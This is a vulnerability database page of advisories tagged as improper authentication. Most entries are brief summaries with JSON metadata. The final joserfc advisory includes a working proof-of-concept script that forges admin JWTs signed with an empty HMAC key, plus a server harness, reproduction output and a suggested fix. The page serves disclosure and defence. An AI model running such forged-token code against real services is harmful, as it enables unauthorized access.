Common Weakness Enumeration

CWE-287

Discouraged

Improper Authentication

Abstraction: Class · Status: Draft

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

6040 vulnerabilities reference this CWE, most recent first.

GHSA-GF54-37HH-J4G4

Vulnerability from github – Published: 2025-09-23 18:30 – Updated: 2025-09-23 18:30
VLAI
Details

An authentication bypass vulnerability exists in multiple WSO2 products when FIDO authentication is enabled. When a user account is deleted, the system does not automatically remove associated FIDO registration data. If a new user account is later created using the same username, the system may associate the new account with the previously registered FIDO device.

This flaw may allow a previously deleted user to authenticate using their FIDO credentials and impersonate the newly created user, resulting in unauthorized access. The vulnerability applies only to deployments that utilize FIDO-based authentication.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-0672"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-23T18:15:30Z",
    "severity": "LOW"
  },
  "details": "An authentication bypass vulnerability exists in multiple WSO2 products when FIDO authentication is enabled. When a user account is deleted, the system does not automatically remove associated FIDO registration data. If a new user account is later created using the same username, the system may associate the new account with the previously registered FIDO device.\n\nThis flaw may allow a previously deleted user to authenticate using their FIDO credentials and impersonate the newly created user, resulting in unauthorized access. The vulnerability applies only to deployments that utilize FIDO-based authentication.",
  "id": "GHSA-gf54-37hh-j4g4",
  "modified": "2025-09-23T18:30:25Z",
  "published": "2025-09-23T18:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0672"
    },
    {
      "type": "WEB",
      "url": "https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2025/WSO2-2025-3134"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GFCH-Q4QC-H76W

Vulnerability from github – Published: 2022-05-01 23:39 – Updated: 2025-04-09 03:52
VLAI
Details

Gallarific does not require authentication for (1) users.php and (2) index.php, which allows remote attackers to add and edit tasks via a direct request. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-1327"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-03-13T14:44:00Z",
    "severity": "HIGH"
  },
  "details": "Gallarific does not require authentication for (1) users.php and (2) index.php, which allows remote attackers to add and edit tasks via a direct request.  NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.",
  "id": "GHSA-gfch-q4qc-h76w",
  "modified": "2025-04-09T03:52:32Z",
  "published": "2022-05-01T23:39:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1327"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/41106"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r02c2d634fa74209d941c90f9a4cd36a6f12366ca65f9b90446ff2de3%40%3Cissues.struts.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r02c2d634fa74209d941c90f9a4cd36a6f12366ca65f9b90446ff2de3@%3Cissues.struts.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf482c101a88445d73cc2e89dbf7f16ae00a4aa79a544a1e72b2326db%40%3Cissues.struts.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf482c101a88445d73cc2e89dbf7f16ae00a4aa79a544a1e72b2326db@%3Cissues.struts.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "http://downloads.securityfocus.com/vulnerabilities/exploits/28163.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/29399"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/28163"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-GFJG-C4FV-56HQ

Vulnerability from github – Published: 2022-05-14 01:35 – Updated: 2022-05-14 01:35
VLAI
Details

BN-SDWBP3 firmware version 1.0.9 and earlier allows an attacker on the same network segment to bypass authentication to access to the management screen and execute an arbitrary command via unspecified vectors.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-0676"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-01-09T23:29:00Z",
    "severity": "HIGH"
  },
  "details": "BN-SDWBP3 firmware version 1.0.9 and earlier allows an attacker on the same network segment to bypass authentication to access to the management screen and execute an arbitrary command via unspecified vectors.",
  "id": "GHSA-gfjg-c4fv-56hq",
  "modified": "2022-05-14T01:35:21Z",
  "published": "2022-05-14T01:35:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-0676"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN65082538/index.html"
    },
    {
      "type": "WEB",
      "url": "https://p3.support.panasonic.com/faq/show/5017?\u0026site_domain=p3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GFWJ-V75F-C948

Vulnerability from github – Published: 2022-02-12 00:01 – Updated: 2022-09-02 00:01
VLAI
Details

StarWind SAN and NAS before 0.2 build 1685 allows users to reset other users' passwords.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-24551"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-06T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "StarWind SAN and NAS before 0.2 build 1685 allows users to reset other users\u0027 passwords.",
  "id": "GHSA-gfwj-v75f-c948",
  "modified": "2022-09-02T00:01:17Z",
  "published": "2022-02-12T00:01:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24551"
    },
    {
      "type": "WEB",
      "url": "https://www.starwindsoftware.com/security/sw-20220204-0001"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GG8G-78JX-GXGC

Vulnerability from github – Published: 2022-05-24 19:08 – Updated: 2022-05-24 19:08
VLAI
Details

IBM InfoSphere Data Replication 11.4 and IBM InfoSphere Change Data Capture for z/OS 10.2.1, under certain configurations, could allow a user to bypass authentication mechanisms using an empty password string. IBM X-Force ID: 189834

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-4821"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-16T17:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "IBM InfoSphere Data Replication 11.4 and IBM InfoSphere Change Data Capture for z/OS 10.2.1, under certain configurations, could allow a user to bypass authentication mechanisms using an empty password string. IBM X-Force ID: 189834",
  "id": "GHSA-gg8g-78jx-gxgc",
  "modified": "2022-05-24T19:08:17Z",
  "published": "2022-05-24T19:08:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-4821"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/189834"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6472909"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6472911"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-GG9X-QCX2-XMRH

Vulnerability from github – Published: 2026-07-02 19:12 – Updated: 2026-07-02 19:12
VLAI
Summary
joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363)
Details

Summary

joserfc.jwt.decode accepts attacker-forged HMAC-signed tokens when the caller-supplied verification key is the empty string or None. HMACAlgorithm.sign and HMACAlgorithm.verify in src/joserfc/_rfc7518/jws_algs.py:62-70 feed whatever OctKey.get_op_key(...) produced into hmac.new(...), and OctKey.import_key only emits a SecurityWarning when the raw key is shorter than 14 bytes without rejecting zero-length input. Any application whose JWT secret is sourced from an unset environment variable, an unset Redis / DB row, a key finder fallback that returns "", or a Hash.new("")-style default verifies attacker tokens forged with HMAC(key=b"", signing_input) because the attacker trivially reproduces the same digest with no secret knowledge.

This is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x / CVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key, filed 2026-05-13). ruby-jwt v3.2.0 added an ensure_valid_key! precondition that rejects empty keys at both sign and verify entry; joserfc has no equivalent. (The same primitive lives in the deprecated authlib.jose module by the same maintainer; filing this advisory against joserfc alongside a separate authlib advisory because the codebases are independent shipping artifacts on PyPI.)

Affected versions

joserfc (PyPI) <= 1.6.7 (latest published release reproduces). No patched release.

Privilege required

Unauthenticated. Any HTTP / RPC endpoint that calls joserfc.jwt.decode with a verification key sourced from configuration is reachable. The condition that makes the bug observable is operator-side: the configured secret resolves to "" or None. Common patterns that produce this state in production:

  • OctKey.import_key(os.environ.get("JWT_SECRET", ""))
  • A key finder callable that returns "" / None for an unknown kid
  • Default values like os.getenv("SECRET") or "", cfg.get("secret", "")
  • Database / Redis row lookup that returns "" for a missing row

Vulnerable code

src/joserfc/_rfc7518/jws_algs.py:43-70:

class HMACAlgorithm(JWSAlgModel):
    SHA256 = hashlib.sha256
    SHA384 = hashlib.sha384
    SHA512 = hashlib.sha512

    def __init__(self, sha_type, recommended=False):
        self.name = f"HS{sha_type}"
        self.description = f"HMAC using SHA-{sha_type}"
        self.recommended = recommended
        self.hash_alg = getattr(self, f"SHA{sha_type}")
        self.algorithm_security = sha_type

    def sign(self, msg: bytes, key: OctKey) -> bytes:
        op_key = key.get_op_key("sign")
        return hmac.new(op_key, msg, self.hash_alg).digest()

    def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:
        op_key = key.get_op_key("verify")
        v_sig = hmac.new(op_key, msg, self.hash_alg).digest()
        return hmac.compare_digest(sig, v_sig)

src/joserfc/_rfc7518/oct_key.py:52-63:

@classmethod
def import_key(cls, value, parameters=None, password=None) -> "OctKey":
    key: OctKey = super(OctKey, cls).import_key(value, parameters, password)
    if len(key.raw_value) < 14:
        # https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final
        warnings.warn("Key size should be >= 112 bits", SecurityWarning)
    return key

The < 14 check only warns; len(key.raw_value) == 0 falls through and is returned to the caller. HMACAlgorithm.verify then calls hmac.compare_digest(sig, hmac.new(b"", signing_input, sha256).digest()), and Python's hmac.new(b"", ...) accepts the empty key.

Cross-language sibling of ruby-jwt's fix in lib/jwt/jwa/hmac.rb:

def ensure_valid_key!(key)
  raise_verify_error!('HMAC key expected to be a String') unless key.is_a?(String)
  raise_verify_error!('HMAC key cannot be empty') if key.empty?
end

invoked from both sign(signing_key:) and verify(verification_key:). PyJWT landed an equivalent guard in 2.13.0 (HMACAlgorithm.prepare_key raises InvalidKeyError("HMAC key must not be empty.") for len(key_bytes) == 0). firebase/php-jwt rejects empty material in Key.__construct. jjwt enforces a 256-bit minimum in DefaultMacAlgorithm.validateKey. joserfc has the strongest existing length-warning logic but stops at < 14 bytes warn rather than == 0 reject.

How an empty JWT_SECRET reaches hmac.new

  1. The application calls joserfc.jwt.decode(value, key, algorithms=["HS256"]) where key = OctKey.import_key("") (or OctKey.import_key(b""), or any custom path that yields an OctKey whose raw_value is b"").
  2. decode (src/joserfc/jwt.py:86-117) calls _decode_jws(...)deserialize_compact(value, key, algorithms, registry).
  3. deserialize_compact (src/joserfc/jws.py) dispatches to HMACAlgorithm.verify(signing_input, signature, key).
  4. verify calls key.get_op_key("verify") → returns b"".
  5. hmac.new(b"", signing_input, sha256).digest() is computed; the attacker computed exactly that digest with the same empty key, so hmac.compare_digest returns True and decode succeeds.

No upstream nil-check, no length check, no schema rejection. The path is reached from the public joserfc.jwt.decode API.

Proof of concept

Attacker (no secret knowledge):

import base64, hmac, hashlib, json, time
def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
now = int(time.time())
payload = b64url(json.dumps({
    "sub": "attacker", "admin": True,
    "iat": now, "exp": now + 600,
}).encode())
signing_input = header + b"." + payload
sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
forged = signing_input + b"." + b64url(sig)
print(forged.decode())

Server harness:

# server.py
from joserfc import jwt
from joserfc.jwk import OctKey
import os
from wsgiref.simple_server import make_server

def app(environ, start_response):
    auth = environ.get("HTTP_AUTHORIZATION", "")
    token = auth[len("Bearer "):].strip() if auth.startswith("Bearer ") else ""
    key = OctKey.import_key(os.environ.get("JWT_SECRET", ""))  # default = ""
    try:
        tok = jwt.decode(token, key, algorithms=["HS256"])
        c = tok.claims
        body = ("OK: sub=%r admin=%r\n" % (c.get("sub"), c.get("admin"))).encode()
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [body]
    except Exception as e:
        start_response("401 Unauthorized", [("Content-Type", "text/plain")])
        return [("DENY: %s\n" % e).encode()]

make_server("127.0.0.1", 8383, app).serve_forever()

End-to-end reproduction (against pip install joserfc==1.6.7)

# 1. Boot the WSGI server. JWT_SECRET unset to model the misconfigured-secret
#    state.
python3.12 -m venv venv
./venv/bin/pip install joserfc==1.6.7
./venv/bin/python server.py &   # listens on :8383

# 2. Run the attacker
./venv/bin/python attacker.py

Captured run output (canonical pre-fix run, joserfc 1.6.7, poc-attacker-empty-20260523-150949.log):

forged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY
HTTP 200
OK: sub='attacker' admin=True

Control (real 256-bit secret, poc-control-realkey-20260523-150959.log):

forged token: eyJhbGciOiAiSFMyNTYi...
HTTP 401
DENY: BadSignatureError: bad_signature:

Interpretation:

Configuration Observed Expected
JWT_SECRET unset (== "") HTTP 200, admin=True (verified) HTTP 401
JWT_SECRET = 256-bit value HTTP 401, BadSignatureError HTTP 401

The first row demonstrates that an attacker with zero knowledge of the verification secret reaches the protected path by signing with the empty key. The second row confirms the verifier behaves correctly when the secret is non-empty, proving the bug is gated only on the secret being empty rather than on any structural defect in the attacker's token.

Fix verification: with the suggested empty-key reject wired into HMACAlgorithm.sign / .verify, the empty-secret server re-run rejects the same forged token with ValueError: HMAC key must not be empty.

Impact

  • Complete authentication bypass on any service whose key finder resolves to "" / None (env var unset, DB row missing, fallback). Attacker forges arbitrary claims (sub, admin, scopes, audience, expiry).
  • The misconfiguration that triggers the bug is silent: the server does not fail to boot, joserfc emits a single SecurityWarning ("Key size should be >= 112 bits") at OctKey.import_key time and then proceeds.
  • Severity matches the parent (ruby-jwt CVE-2026-45363, CVSS 7.4 high). CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N — AC:H because of the operator-misconfiguration precondition; impact otherwise matches authentication bypass.

Suggested fix

Upgrade the existing < 14 bytes warning in OctKey.import_key to a hard reject at len(key.raw_value) == 0, plus a defence-in-depth check in HMACAlgorithm.sign and HMACAlgorithm.verify after key.get_op_key(...):

# src/joserfc/_rfc7518/oct_key.py
@classmethod
def import_key(cls, value, parameters=None, password=None) -> "OctKey":
    key: OctKey = super(OctKey, cls).import_key(value, parameters, password)
    if not key.raw_value:
        raise ValueError("oct key material must not be empty")
    if len(key.raw_value) < 14:
        warnings.warn("Key size should be >= 112 bits", SecurityWarning)
    return key

# src/joserfc/_rfc7518/jws_algs.py
class HMACAlgorithm(JWSAlgModel):
    ...
    def sign(self, msg: bytes, key: OctKey) -> bytes:
        op_key = key.get_op_key("sign")
        if not op_key:
            raise ValueError("HMAC key must not be empty")
        return hmac.new(op_key, msg, self.hash_alg).digest()

    def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:
        op_key = key.get_op_key("verify")
        if not op_key:
            raise ValueError("HMAC key must not be empty")
        v_sig = hmac.new(op_key, msg, self.hash_alg).digest()
        return hmac.compare_digest(sig, v_sig)

The two-layer fix mirrors PyJWT 2.13.0's approach (reject empty in prepare_key, plus the runtime length checks the underlying hmac primitive does not perform).

Fix PR

authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1 (temp private fork PR), branch fix/hmac-reject-empty-key, base main. URL: https://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1

Credit

Reported by tonghuaroot.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.7"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "joserfc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49852"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1391",
      "CWE-287",
      "CWE-326"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T19:12:08Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`joserfc.jwt.decode` accepts attacker-forged HMAC-signed tokens when the\ncaller-supplied verification key is the empty string or `None`.\n`HMACAlgorithm.sign` and `HMACAlgorithm.verify` in\n[`src/joserfc/_rfc7518/jws_algs.py:62-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L62-L70) feed whatever\n`OctKey.get_op_key(...)` produced into `hmac.new(...)`, and `OctKey.import_key`\nonly emits a `SecurityWarning` when the raw key is shorter than 14 bytes\nwithout rejecting zero-length input. Any application whose JWT secret is\nsourced from an unset environment variable, an unset Redis / DB row, a key\nfinder fallback that returns `\"\"`, or a `Hash.new(\"\")`-style default verifies\nattacker tokens forged with `HMAC(key=b\"\", signing_input)` because the\nattacker trivially reproduces the same digest with no secret knowledge.\n\nThis is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x /\nCVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key,\nfiled 2026-05-13). ruby-jwt v3.2.0 added an `ensure_valid_key!` precondition\nthat rejects empty keys at both sign and verify entry; joserfc has no\nequivalent. (The same primitive lives in the deprecated `authlib.jose`\nmodule by the same maintainer; filing this advisory against joserfc\nalongside a separate `authlib` advisory because the codebases are\nindependent shipping artifacts on PyPI.)\n\n### Affected versions\n\n`joserfc` (PyPI) `\u003c= 1.6.7` (latest published release reproduces). No\npatched release.\n\n### Privilege required\n\nUnauthenticated. Any HTTP / RPC endpoint that calls `joserfc.jwt.decode`\nwith a verification key sourced from configuration is reachable. The\ncondition that makes the bug observable is operator-side: the configured\nsecret resolves to `\"\"` or `None`. Common patterns that produce this state\nin production:\n\n- `OctKey.import_key(os.environ.get(\"JWT_SECRET\", \"\"))`\n- A key finder callable that returns `\"\"` / `None` for an unknown `kid`\n- Default values like `os.getenv(\"SECRET\") or \"\"`, `cfg.get(\"secret\", \"\")`\n- Database / Redis row lookup that returns `\"\"` for a missing row\n\n### Vulnerable code\n\n[`src/joserfc/_rfc7518/jws_algs.py:43-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L43-L70):\n\n```python\nclass HMACAlgorithm(JWSAlgModel):\n    SHA256 = hashlib.sha256\n    SHA384 = hashlib.sha384\n    SHA512 = hashlib.sha512\n\n    def __init__(self, sha_type, recommended=False):\n        self.name = f\"HS{sha_type}\"\n        self.description = f\"HMAC using SHA-{sha_type}\"\n        self.recommended = recommended\n        self.hash_alg = getattr(self, f\"SHA{sha_type}\")\n        self.algorithm_security = sha_type\n\n    def sign(self, msg: bytes, key: OctKey) -\u003e bytes:\n        op_key = key.get_op_key(\"sign\")\n        return hmac.new(op_key, msg, self.hash_alg).digest()\n\n    def verify(self, msg: bytes, sig: bytes, key: OctKey) -\u003e bool:\n        op_key = key.get_op_key(\"verify\")\n        v_sig = hmac.new(op_key, msg, self.hash_alg).digest()\n        return hmac.compare_digest(sig, v_sig)\n```\n\n[`src/joserfc/_rfc7518/oct_key.py:52-63`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/oct_key.py#L52-L63):\n\n```python\n@classmethod\ndef import_key(cls, value, parameters=None, password=None) -\u003e \"OctKey\":\n    key: OctKey = super(OctKey, cls).import_key(value, parameters, password)\n    if len(key.raw_value) \u003c 14:\n        # https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final\n        warnings.warn(\"Key size should be \u003e= 112 bits\", SecurityWarning)\n    return key\n```\n\nThe `\u003c 14` check only warns; `len(key.raw_value) == 0` falls through and is\nreturned to the caller. `HMACAlgorithm.verify` then calls\n`hmac.compare_digest(sig, hmac.new(b\"\", signing_input, sha256).digest())`,\nand Python\u0027s `hmac.new(b\"\", ...)` accepts the empty key.\n\nCross-language sibling of ruby-jwt\u0027s fix in [`lib/jwt/jwa/hmac.rb`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/lib/jwt/jwa/hmac.rb):\n\n```ruby\ndef ensure_valid_key!(key)\n  raise_verify_error!(\u0027HMAC key expected to be a String\u0027) unless key.is_a?(String)\n  raise_verify_error!(\u0027HMAC key cannot be empty\u0027) if key.empty?\nend\n```\n\ninvoked from both `sign(signing_key:)` and `verify(verification_key:)`.\nPyJWT landed an equivalent guard in 2.13.0 (`HMACAlgorithm.prepare_key`\nraises `InvalidKeyError(\"HMAC key must not be empty.\")` for `len(key_bytes) == 0`).\nfirebase/php-jwt rejects empty material in `Key.__construct`. jjwt enforces a\n256-bit minimum in `DefaultMacAlgorithm.validateKey`. joserfc has the\nstrongest existing length-warning logic but stops at `\u003c 14 bytes` warn\nrather than `== 0` reject.\n\n### How an empty `JWT_SECRET` reaches `hmac.new`\n\n1. The application calls `joserfc.jwt.decode(value, key, algorithms=[\"HS256\"])`\n   where `key = OctKey.import_key(\"\")` (or `OctKey.import_key(b\"\")`,\n   or any custom path that yields an `OctKey` whose `raw_value` is `b\"\"`).\n2. `decode` ([`src/joserfc/jwt.py:86-117`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/jwt.py#L86-L117)) calls `_decode_jws(...)` \u2192\n   `deserialize_compact(value, key, algorithms, registry)`.\n3. `deserialize_compact` ([`src/joserfc/jws.py`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/jws.py)) dispatches to\n   `HMACAlgorithm.verify(signing_input, signature, key)`.\n4. `verify` calls `key.get_op_key(\"verify\")` \u2192 returns `b\"\"`.\n5. `hmac.new(b\"\", signing_input, sha256).digest()` is computed; the\n   attacker computed exactly that digest with the same empty key, so\n   `hmac.compare_digest` returns `True` and decode succeeds.\n\nNo upstream `nil`-check, no length check, no schema rejection. The path is\nreached from the public `joserfc.jwt.decode` API.\n\n### Proof of concept\n\nAttacker (no secret knowledge):\n\n```python\nimport base64, hmac, hashlib, json, time\ndef b64url(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\")\nheader = b64url(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\nnow = int(time.time())\npayload = b64url(json.dumps({\n    \"sub\": \"attacker\", \"admin\": True,\n    \"iat\": now, \"exp\": now + 600,\n}).encode())\nsigning_input = header + b\".\" + payload\nsig = hmac.new(b\"\", signing_input, hashlib.sha256).digest()\nforged = signing_input + b\".\" + b64url(sig)\nprint(forged.decode())\n```\n\nServer harness:\n\n```python\n# server.py\nfrom joserfc import jwt\nfrom joserfc.jwk import OctKey\nimport os\nfrom wsgiref.simple_server import make_server\n\ndef app(environ, start_response):\n    auth = environ.get(\"HTTP_AUTHORIZATION\", \"\")\n    token = auth[len(\"Bearer \"):].strip() if auth.startswith(\"Bearer \") else \"\"\n    key = OctKey.import_key(os.environ.get(\"JWT_SECRET\", \"\"))  # default = \"\"\n    try:\n        tok = jwt.decode(token, key, algorithms=[\"HS256\"])\n        c = tok.claims\n        body = (\"OK: sub=%r admin=%r\\n\" % (c.get(\"sub\"), c.get(\"admin\"))).encode()\n        start_response(\"200 OK\", [(\"Content-Type\", \"text/plain\")])\n        return [body]\n    except Exception as e:\n        start_response(\"401 Unauthorized\", [(\"Content-Type\", \"text/plain\")])\n        return [(\"DENY: %s\\n\" % e).encode()]\n\nmake_server(\"127.0.0.1\", 8383, app).serve_forever()\n```\n\n### End-to-end reproduction (against `pip install joserfc==1.6.7`)\n\n```bash\n# 1. Boot the WSGI server. JWT_SECRET unset to model the misconfigured-secret\n#    state.\npython3.12 -m venv venv\n./venv/bin/pip install joserfc==1.6.7\n./venv/bin/python server.py \u0026   # listens on :8383\n\n# 2. Run the attacker\n./venv/bin/python attacker.py\n```\n\nCaptured run output (canonical pre-fix run, joserfc 1.6.7,\n`poc-attacker-empty-20260523-150949.log`):\n\n```\nforged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY\nHTTP 200\nOK: sub=\u0027attacker\u0027 admin=True\n```\n\nControl (real 256-bit secret, `poc-control-realkey-20260523-150959.log`):\n\n```\nforged token: eyJhbGciOiAiSFMyNTYi...\nHTTP 401\nDENY: BadSignatureError: bad_signature:\n```\n\nInterpretation:\n\n| Configuration                | Observed                            | Expected |\n|------------------------------|-------------------------------------|----------|\n| `JWT_SECRET` unset (== \"\")   | HTTP 200, `admin=True` (verified)   | HTTP 401 |\n| `JWT_SECRET` = 256-bit value | HTTP 401, `BadSignatureError`       | HTTP 401 |\n\nThe first row demonstrates that an attacker with zero knowledge of the\nverification secret reaches the protected path by signing with the empty\nkey. The second row confirms the verifier behaves correctly when the\nsecret is non-empty, proving the bug is gated only on the secret being\nempty rather than on any structural defect in the attacker\u0027s token.\n\nFix verification: with the suggested empty-key reject wired into\n`HMACAlgorithm.sign` / `.verify`, the empty-secret server re-run rejects\nthe same forged token with `ValueError: HMAC key must not be empty`.\n\n### Impact\n\n- Complete authentication bypass on any service whose key finder resolves\n  to `\"\"` / `None` (env var unset, DB row missing, fallback). Attacker\n  forges arbitrary claims (`sub`, `admin`, scopes, audience, expiry).\n- The misconfiguration that triggers the bug is silent: the server does\n  not fail to boot, joserfc emits a single `SecurityWarning` (\"Key size\n  should be \u003e= 112 bits\") at `OctKey.import_key` time and then proceeds.\n- Severity matches the parent (ruby-jwt CVE-2026-45363, CVSS 7.4 high).\n  CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N \u2014 AC:H because of the\n  operator-misconfiguration precondition; impact otherwise matches\n  authentication bypass.\n\n### Suggested fix\n\nUpgrade the existing `\u003c 14 bytes` warning in `OctKey.import_key` to a hard\nreject at `len(key.raw_value) == 0`, plus a defence-in-depth check in\n`HMACAlgorithm.sign` and `HMACAlgorithm.verify` after\n`key.get_op_key(...)`:\n\n```python\n# src/joserfc/_rfc7518/oct_key.py\n@classmethod\ndef import_key(cls, value, parameters=None, password=None) -\u003e \"OctKey\":\n    key: OctKey = super(OctKey, cls).import_key(value, parameters, password)\n    if not key.raw_value:\n        raise ValueError(\"oct key material must not be empty\")\n    if len(key.raw_value) \u003c 14:\n        warnings.warn(\"Key size should be \u003e= 112 bits\", SecurityWarning)\n    return key\n\n# src/joserfc/_rfc7518/jws_algs.py\nclass HMACAlgorithm(JWSAlgModel):\n    ...\n    def sign(self, msg: bytes, key: OctKey) -\u003e bytes:\n        op_key = key.get_op_key(\"sign\")\n        if not op_key:\n            raise ValueError(\"HMAC key must not be empty\")\n        return hmac.new(op_key, msg, self.hash_alg).digest()\n\n    def verify(self, msg: bytes, sig: bytes, key: OctKey) -\u003e bool:\n        op_key = key.get_op_key(\"verify\")\n        if not op_key:\n            raise ValueError(\"HMAC key must not be empty\")\n        v_sig = hmac.new(op_key, msg, self.hash_alg).digest()\n        return hmac.compare_digest(sig, v_sig)\n```\n\nThe two-layer fix mirrors PyJWT 2.13.0\u0027s approach (reject empty in\n`prepare_key`, plus the runtime length checks the underlying hmac\nprimitive does not perform).\n\n### Fix PR\n\n`authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1` (temp private fork PR), branch\n`fix/hmac-reject-empty-key`, base `main`. URL:\nhttps://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1\n\n### Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-gg9x-qcx2-xmrh",
  "modified": "2026-07-02T19:12:08Z",
  "published": "2026-07-02T19:12:08Z",
  "references": [
    {
      "type": "WEB",
